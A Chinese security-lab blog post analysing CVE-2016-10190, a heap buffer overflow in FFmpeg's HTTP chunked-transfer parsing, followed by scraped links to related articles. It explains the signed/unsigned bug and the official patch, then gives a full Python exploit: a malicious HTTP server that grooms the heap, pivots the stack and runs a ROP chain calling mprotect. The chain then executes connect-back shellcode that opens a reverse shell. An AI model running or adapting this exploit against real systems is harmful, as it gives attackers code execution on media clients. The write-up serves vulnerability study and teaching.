作者:栈长@蚂蚁金服巴斯光年安全实验室

————————

1. 背景

FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器、转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文对CVE-2016-10190进行了详细的分析,是一个学习如何利用堆溢出达到任意代码执行的一个非常不错的案例。

2. 漏洞分析

FFmpeg的 Http 协议的实现中支持几种不同的数据传输方式,通过 Http Response Header 来控制。其中一种传输方式是transfer-encoding: chunked,表示数据将被划分为一个个小的 chunk 进行传输,这些 chunk 都是被放在 Http body 当中,每一个 chunk 的结构分为两个部分,第一个部分是该 chunk 的 data 部分的长度,十六进制,以换行符结束,第二个部分就是该 chunk 的 data,末尾还要额外加上一个换行符。下面是一个 Http 响应的示例。关于transfer-encoding: chunked更加详细的内容可以参考这篇文章

HTTP/1.1 200 OK

Server: nginx

Date: Sun, 03 May 2015 17:25:23 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Content-Encoding: gzip

1f

HW(/IJ

0

漏洞就出现在libavformat/http.c这个文件中,在http_read_stream函数中,如果是以 chunk 的方式传输,程序会读取每个 chunk 的第一行,也就是 chunk 的长度那一行,然后调用s->chunksize = strtoll(line, NULL, 16);来计算 chunk size。chunksize的类型是int64_t,在下面调用了FFMIN和 buffer 的 size 进行了长度比较,但是 buffer 的 size 也是有符号数,这就导致了如果我们让chunksize等于-1, 那么最终传递给httpbufread函数的 size 参数也是-1。相关代码如下:

s->chunksize = strtoll(line, NULL, 16);

av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n",

s->chunksize);

if (!s->chunksize)

return 0;

}

size = FFMIN(size, s->chunksize);//两个有符号数相比较

}

//...

read_ret = http_buf_read(h, buf, size);//可以传递一个负数过去

而在httpbufread函数中会调用ffurl_read函数,进一步把 size 传递过去。然后经过一个比较长的调用链,最终会传递到tcp_read函数中,函数里调用了recv函数来从 socket 读取数据,而recv的第三个参数是size_t类型,也就是无符号数,我们把size为-1传递给它的时候会发生有符号数到无符号数的隐式类型转换,就变成了一个非常大的值0xffffffff,从而导致缓冲区溢出。

static int http_buf_read(URLContext *h, uint8_t *buf, int size)

{

HTTPContext *s = h->priv_data;

intlen;

/* read bytes from input buffer first */

len = s->buf_end - s->buf_ptr;

if (len> 0) {

if (len> size)

len = size;

memcpy(buf, s->buf_ptr, len);

s->buf_ptr += len;

} else {

//...

len = ffurl_read(s->hd, buf, size);//这里的 size 是从上面传递下来的

static int tcp_read(URLContext *h, uint8_t *buf, int size)

{

TCPContext *s = h->priv_data;

int ret;

if (!(h->flags & AVIO_FLAG_NONBLOCK)) {

//...

}

ret = recv(s->fd, buf, size, 0);    //最后在这里溢出

可以看到,由有符号到无符号数的类型转换可以说是漏洞频发的重灾区,写代码的时候稍有不慎就可能犯下这种错误,而且一些隐式的类型转换编译器并不会报 warning。如果需要检测这样的类型转换,可以在编译的时候添加-Wconversion -Wsign-conversion这个选项。

官方修复方案

官方的修复方法也比较简单明了,把HTTPContext这个结构体中所有和 size,offset 有关的字段全部改为unsigned类型,把strtoll函数改为strtoull函数,还有一些细节上的调整等等。这么做不仅补上了这次的漏洞,也防止了类似的漏洞不会再其他的地方再发生。放上官方补丁的链接

3. 利用环境搭建

漏洞利用的靶机环境

操作系统:Ubuntu 16.04 x64

FFmpeg版本:3.2.1 (参照https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu编译,需要把官方教程中提及的所有 encoder编译进去,最好是静态编译。)

4. 利用过程

这次的漏洞需要我们搭建一个恶意的 Http Server,然后让我们的客户端连上 Server,Server 把恶意的 payload 传输给 client,在 client 上执行任意代码,然后反弹一个 shell 到 Server 端。

首先我们需要控制返回的 Http header 中包含transfer-encoding: chunked字段。

headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Transfer-Encoding: chunked

"""

然后我们控制 chunk 的 size 为-1, 再把我们的 payload 发送过去

client_socket.send('-1\n')

#raw_input("sleep for a while to avoid HTTPContext buffer problem!")

sleep(3)    #这里 sleep 很关键,后面会解释

client_socket.send(payload)

下面我们开始考虑 payload 该如何构造,首先我们使用gdb观察程序在 buffer overflow 的时候的堆布局是怎样的,在我的机器上很不幸的是可以看到被溢出的 chunk 正好紧跟在 top chunk的后面,这就给我们的利用带来了困难。接下来我先后考虑了三种思路:

思路一:覆盖top chunk的size字段

这是一种常见的glibc heap 利用技巧,是通过把 top chunk 的size 字段改写来实现任意地址写,但是这种方法需要我们能很好的控制malloc的 size 参数。在FFmpeg源代码中寻找了一番并没有找到这样的代码,只能放弃。

思路二:通过unlink来任意地址写

这种方法的条件也比较苛刻,首先需要绕过 unlink 的 check,但是由于我们没有办法 leak 出堆地址,所以也是行不通的。

思路三:通过某种方式影响堆布局,使得溢出chunk后面有关键结构体

如果溢出 chunk 之后有关键结构体,结构体里面有函数指针,那么事情就简单多了,我们只需要覆盖函数指针就可以控制 RIP 了。纵观溢出时的整个函数调用栈,

avio_read->fill_buffer->io_read_packet->…->http_buf_read,avio_read函数和fill_buffer函数里面都调用了AVIOContext::read_packet这个函数。我们必须设法覆盖AVIOContext这个结构体里面的read_packet函数指针,但是目前这个结构体是在溢出 chunk 的前面的,需要把它挪到后面去。那么就需要搞清楚这两个 chunk 被malloc的先后顺序,以及mallocAVIOContext的时候的堆布局是怎么样的。

int ffio_fdopen(AVIOContext **s, URLContext *h)

{

//...

buffer = av_malloc(buffer_size);//先分配io buffer, 再分配AVIOContext

if (!buffer)

return AVERROR(ENOMEM);

internal = av_mallocz(sizeof(*internal));

if (!internal)

goto fail;

internal->h = h;

*s = avio_alloc_context(buffer, buffer_size, h->flags & AVIO_FLAG_WRITE,

internal, io_read_packet, io_write_packet, io_seek);

在ffio_fdopen函数中可以清楚的看到是先分配了用于io的 buffer(也就是溢出的 chunk),再分配AVIOContext的。程序在mallocAVIOContext的时候堆上有一个 large free chunk,正好是在溢出 chunk 的前面。那么只要想办法在之前把这个 free chunk 给填上就能让AVIOContext跑到溢出 chunk 的后面去了。由于http_open是在AVIOContext被分配之前调用的,(关于整个调用顺序可以参考雷霄华的博客整理的一个FFmpeg的总的流程图)所以我们可在http_read_header函数里面寻找那些能够影响堆布局的代码,其中 Content-Type 字段就会为字段值malloc一段内存来保存。所以我们可以任意填充Content-Type的值为那个 free chunk 的大小,就能预先把 free chunk 给使用掉了。修改后的Http header如下:

headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Content-Type: %s

Transfer-Encoding: chunked

Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

""" % ('h' * 3120)

其中Set-Cookie字段可有可无,只是会影响溢出 chunk 和AVIOContext的距离,不会影响他们的前后关系。

这之后就是覆盖AVIOContext的各个字段,以及考虑怎么让程序走到自己想要的分支了。经过分析我们让程序再一次调用fill_buffer,然后走到s->read_packet那一行是最稳妥的。调试发现走到那一行的时候我们可以控制的有RIP, RDI, RSI, RDX, RCX等寄存器,接下来就是考虑怎么 ROP 了。

static void fill_buffer(AVIOContext *s)

{

intmax_buffer_size = s->max_packet_size ?  //可控

s->max_packet_size :

IO_BUFFER_SIZE;

uint8_t *dst        = s->buf_end - s->buffer + max_buffer_size< s->buffer_size ?

s->buf_end : s->buffer;   //控制这个, 如果等于s->buffer的话,问题是 heap 地址不知道

intlen             = s->buffer_size - (dst - s->buffer);   //可控

/* can't fill the buffer without read_packet, just set EOF if appropriate */

if (!s->read_packet&& s->buf_ptr>= s->buf_end)

s->eof_reached = 1;

/* no need to do anything if EOF already reached */

if (s->eof_reached)

return;

if (s->update_checksum&&dst == s->buffer) {

//...

}

/* make buffer smaller in case it ended up large after probing */

if (s->read_packet&& s->orig_buffer_size&& s->buffer_size> s->orig_buffer_size) {

//...

}

if (s->read_packet)

len = s->read_packet(s->opaque, dst, len);

首先要把栈迁移到堆上,由于堆地址是随机的,我们不知道。所以只能利用当时寄存器或者内存中存在的堆指针,并且堆指针要指向我们可控的区域。在寄存器中没有找到合适的值,但是打印当前stack, 可以看到栈上正好有我们需要的堆指针,指向AVIOContext结构体的开头。接下来只要想办法找到pop rsp; ret之类的rop就可以了。

pwndbg> stack

00:0000│rsp  0x7fffffffd8c0 —? 0x7fffffffd900 —? 0x7fffffffd930 —? 0x7fffffffd9d0 ?— ...

01:0008│      0x7fffffffd8c8 —? 0x2b4ae00 —? 0x63e2c8 (ff_yadif_filter_line_10bit_ssse3+1928) ?— add    rsp, 0x58

02:0010│      0x7fffffffd8d0 —? 0x7fffffffe200 ?— 0x6

03:0018│      0x7fffffffd8d8 ?— 0x83d1d51e00000000

04:0020│      0x7fffffffd8e0 ?— 0x8000

05:0028│      0x7fffffffd8e8 —? 0x2b4b168 ?— 0x6868686868686868 ('hhhhhhhh')

06:0030│rbp  0x7fffffffd8f0 —? 0x7fffffffd930 —? 0x7fffffffd9d0 —? 0x7fffffffda40 ?— ...

07:0038│      0x7fffffffd8f8 —? 0x6cfb2c (avio_read+336) ?— movrax, qword ptr [rbp - 0x18]

把栈迁移之后,先利用add rsp, 0x58; ret这种蹦床把栈拔高,然后执行我们真正的 ROP 指令。由于plt表中有mprotect, 所以可以先将0x400000地址处的 page 权限改为rwx,再把shellcode写到那边去,然后跳转过去就行了。最终的堆布局如下:

放上最后利用成功的截图

启动恶意的 Server

客户端连接上 Server

成功反弹 shell

最后附上完整的利用脚本,根据漏洞作者的exp修改而来

#!/usr/bin/python

#coding=utf-8

import re

importos

import sys

import socket

import threading

from time import sleep

frompwn import *

bind_ip = '0.0.0.0'

bind_port = 12345

headers = """HTTP/1.1 200 OK

Server: HTTPd/0.9

Date: Sun, 10 Apr 2005 20:26:47 GMT

Content-Type: %s

Transfer-Encoding: chunked

Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;

""" % ('h' * 3120)

"""

"""

elf = ELF('/home/dddong/bin/ffmpeg_g')

shellcode_location = 0x00400000

page_size = 0x1000

rwx_mode = 7

gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))

pop_rdi = gadget('pop rdi; ret')

pop_rsi = gadget('pop rsi; ret')

pop_rax = gadget('pop rax; ret')

pop_rcx = gadget('pop rcx; ret')

pop_rdx = gadget('pop rdx; ret')

pop_rbp = gadget('pop rbp; ret')

leave_ret = gadget('leave; ret')

pop_pop_rbp_jmp_rcx = gadget('pop rbx ; pop rbp ; jmprcx')

push_rbx = gadget('push rbx; jmprdi')

push_rsi = gadget('push rsi; jmprdi')

push_rdx_call_rdi = gadget('push rdx; call rdi')

pop_rsp = gadget('pop rsp; ret')

add_rsp = gadget('add rsp, 0x58; ret')

mov_gadget = gadget('mov qword ptr [rdi], rax ; ret')

mprotect_func = elf.plt['mprotect']

#read_func = elf.plt['read']

def handle_request(client_socket):

# 0x009e5641: mov qword [rcx], rax ; ret  ;  (1 found)

# 0x010ccd95: push rbx ;jmprdi ;  (1 found)

# 0x00d89257: pop rsp ; ret  ;  (1 found)

# 0x0058dc48: add rsp, 0x58 ; ret  ;  (1 found)

request = client_socket.recv(2048)

payload = ''

payload += 'C' * (0x8040)

payload += 'CCCCCCCC' * 4

##################################################

#rop starts here

payload += p64(add_rsp) # 0x0: 从这里开始覆盖AVIOContext

#payload += p64(0) + p64(1) + 'CCCCCCCC' * 2 #0x8:

payload += 'CCCCCCCC' * 4 #0x8: buf_ptr和buf_end后面会被覆盖为正确的值

payload += p64(pop_rsp) # 0x28: 这里是opaque指针,可以控制rdi和rcx, s->read_packet(opaque,dst,len)

payload += p64(pop_pop_rbp_jmp_rcx) # 0x30: 这里是read_packet指针,call *%rax

payload += 'BBBBBBBB' * 3 #0x38

payload += 'AAAA' #0x50 must_flush

payload += p32(0) #eof_reached

payload += p32(1) + p32(0) #0x58 write_flag=1 and max_packet_size=0

payload += p64(add_rsp) # 0x60: second add_esp_0x58 rop to jump to uncorrupted chunk

payload += 'CCCCCCCC' #0x68: checksum_ptr控制rdi

#payload += p64(push_rdx_call_rdi) #0x70

payload += p64(1) #0x70: update_checksum

payload += 'XXXXXXXX' * 9 #0x78: orig_buffer_size

# realrop payload starts here

#

# usingmprotect to create executable area

payload += p64(pop_rdi)

payload += p64(shellcode_location)

payload += p64(pop_rsi)

payload += p64(page_size)

payload += p64(pop_rdx)

payload += p64(rwx_mode)

payload += p64(mprotect_func)

# backconnectshellcode x86_64: 127.0.0.1:31337

shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";

shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode

shellslices = map(''.join, zip(*[iter(shellcode)]*8))

write_location = shellcode_location

forshellslice in shellslices:

payload += p64(pop_rax)

payload += shellslice

payload += p64(pop_rdi)

payload += p64(write_location)

payload += p64(mov_gadget)

write_location += 8

payload += p64(pop_rbp)

payload += p64(4)

payload += p64(shellcode_location)

client_socket.send(headers)

client_socket.send('-1\n')

#raw_input("sleep for a while to avoid HTTPContext buffer problem!")

sleep(3)

client_socket.send(payload)

print "send payload done."

client_socket.close()

if __name__ == '__main__':

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.bind((bind_ip, bind_port))

s.listen(5)

filename = os.path.basename(__file__)

st = os.stat(filename)

print 'start listening at %s:%s' % (bind_ip, bind_port)

while True:

client_socket, addr = s.accept()

print 'accept client connect from %s:%s' % addr

handle_request(client_socket)

if os.stat(filename) != st:

print 'restarted'

sys.exit(0)

5. 反思与总结

这次的漏洞利用过程让我对FFmpeg的源代码有了更为深刻的理解。也学会了如何通过影响堆布局来简化漏洞利用的过程,如何栈迁移以及编写 ROP。

在pwn的过程中,阅读源码来搞清楚malloc的顺序,使用gdb插件(如libheap)来显示堆布局是非常重要的,只有这样才能对症下药,想明白如何才能调整堆的布局。如果能够有插件显示每一个malloc chunk 的函数调用栈就更好了,之后可以尝试一下 GEF 这个插件。

6. 参考资料

1  https://trac.ffmpeg.org/ticket/5992

2  http://www.openwall.com/lists/oss-security/2017/01/31/12

3  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10190

4  官方修复链接:https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa

5  https://security.tencent.com/index.php/blog/msg/116

6  Transfer-encoding介绍:https://imququ.com/post/transfer-encoding-header-in-http.html

7  漏洞原作者的 exp:https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6

8  FFmpeg源代码结构图:http://blog.csdn.net/leixiaohua1020/article/details/44220151

https://docs.pwntools.com/en/stable/index.html

-------------------------------

更多安全类热点信息和知识分享,请关注阿里聚安全的官方博客

CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用的更多相关文章

  1. CVE-2016-10191 FFmpeg RTMP Heap Buffer Overflow 漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 一.前言 FFmpeg是一个著名的处理音视频的开源项目,使用者众多.2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190 ...

  2. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  3. 2——FFMPEG之协议(文件)操作----AVIOContext, URLContext, URLProtocol

    协议操作对象结构: 协议(文件)操作的顶层结构是AVIOContext,这个对象实现了带缓冲的读写操作:FFMPEG的输入对象AVFormat的pb字段指向一个AVIOContext. AVIOCon ...

  4. ffmpeg的内部Video Buffer管理和传送机制

    ffmpeg的内部Video Buffer管理和传送机制 本文主要介绍ffmpeg解码器内部管理Video Buffer的原理和过程,ffmpeg的Videobuffer为内部管理,其流程大致为:注册 ...

  5. 内存错误:CRT detected that the application wrote to memory after end of heap buffer

    今天调试测试代码时,发现在用完了new出来的内存buf后,在执行delete时报错了,具体信息为: HEAP_CORRUPTION_DETECTED: after Normal block(#908) ...

  6. NIO中的heap Buffer和direct Buffer区别

    在Java的NIO中,我们一般采用ByteBuffer缓冲区来传输数据,一般情况下我们创建Buffer对象是通过ByteBuffer的两个静态方法: ByteBuffer.allocate(int c ...

  7. C语言错误: CRT detected that the application wrote to memory after end of heap buffer

    CRT detected that the application wrote to memory after end of heap buffer 多是中间对其进行了一些操作,在程序结束处,释放内存 ...

  8. Direct Buffer vs. Heap Buffer

    1. 劣势:创建和释放Direct Buffer的代价比Heap Buffer得要高. 2. 差别:Direct Buffer不是分配在堆上的,它不被GC直接管理(但Direct Buffer的JAV ...

  9. FFmpeg 结构体学习(七): AVIOContext 分析

    在上文FFmpeg 结构体学习(六): AVCodecContext 分析我们学习了AVCodec结构体的相关内容.本文,我们将讲述一下AVIOContext. AVIOContext是FFMPEG管 ...

随机推荐

  1. [Usaco2007 Open]Fliptile 翻格子游戏

    [Usaco2007 Open]Fliptile 翻格子游戏 题目 Farmer John knows that an intellectually satisfied cow is a happy ...

  2. VMware的安装和使用

    注:内容系兄弟连Linux教程(百度传课:史上最牛的Linux视频教程)的学习笔记. VMware的安装和使用 1. 虚拟机的安装 这里安装虚拟机VMware10,下载安装程序,双击安装-->为 ...

  3. 利用dbutils工具实现数据的增删查改操作(dbutis入门)

    一.前期准备 1.安装数据库(如:mysql5.5) 2.安装Eclipse(如:3.4) 3.下载数据库驱动包 4.下载dbutis工具包 5.在Eclipse创建名为 dbutils 的工程并在工 ...

  4. 教你用python写:HDU刷题神器

    声明:本文以学习为目的,请不要影响他人正常判题 HDU刷题神器,早已被前辈们做出来了,不过没有见过用python写的.大一的时候见识了学长写这个,当时还是一脸懵逼,只知道这玩意儿好屌-.时隔一年,决定 ...

  5. 【思维】【水】 南阳oj 喷水装置(一)

    描述 现有一块草坪,长为20米,宽为2米,要在横中心线上放置半径为Ri的喷水装置,每个喷水装置的效果都会让以它为中心的半径为实数Ri(0<Ri<15)的圆被湿润,这有充足的喷水装置i(1& ...

  6. 学习java线程学习笔记

    线程:代码执行的一个分支          主要作用是提高了效率,cpu能同时执行多个部分的代码.      线程的创建:两种方式      a.继承于thread类,重写run方法.      b. ...

  7. 采药 NOIP 2005 普及组

    题目描述 辰辰是个天资聪颖的孩子,他的梦想是成为世界上最伟大的医师.为此,他想拜附近最有威望的医师为师.医师为了判断他的资质,给他出了一个难题.医师把他带到一个到处都是草药的山洞里对他说:" ...

  8. CSS规范--春风十里不如写好CSS

    先吟几句: 最近看了看春风十里不如你,本来很少看剧的,暑假有点闲就看了,感觉不错,挺喜欢这部剧,就套了个名字,嘿嘿嘿.剧里面印象深刻的是<致橡树>这首诗,念几句: 我如果爱你,绝不像攀援的 ...

  9. co源码解析

    一.co函数是什么 co 函数库是著名程序员 TJ Holowaychuk 于2013年6月发布的一个小工具,用于 Generator 函数的自动执行.短小精悍只有短短200余行,就可以免去手动编写G ...

  10. MySql 使用 EF Core 2.0 CodeFirst、DbFirst、数据库迁移(Migration)介绍及示例

    dotnet core 2.0 发布已经好几天了,期间也把原来 dotnet core 1.1 的 MVC 项目升级到了 2.0,升级过程还是比较顺利的,变动也不是太多.升级的过程中也少不了 Enti ...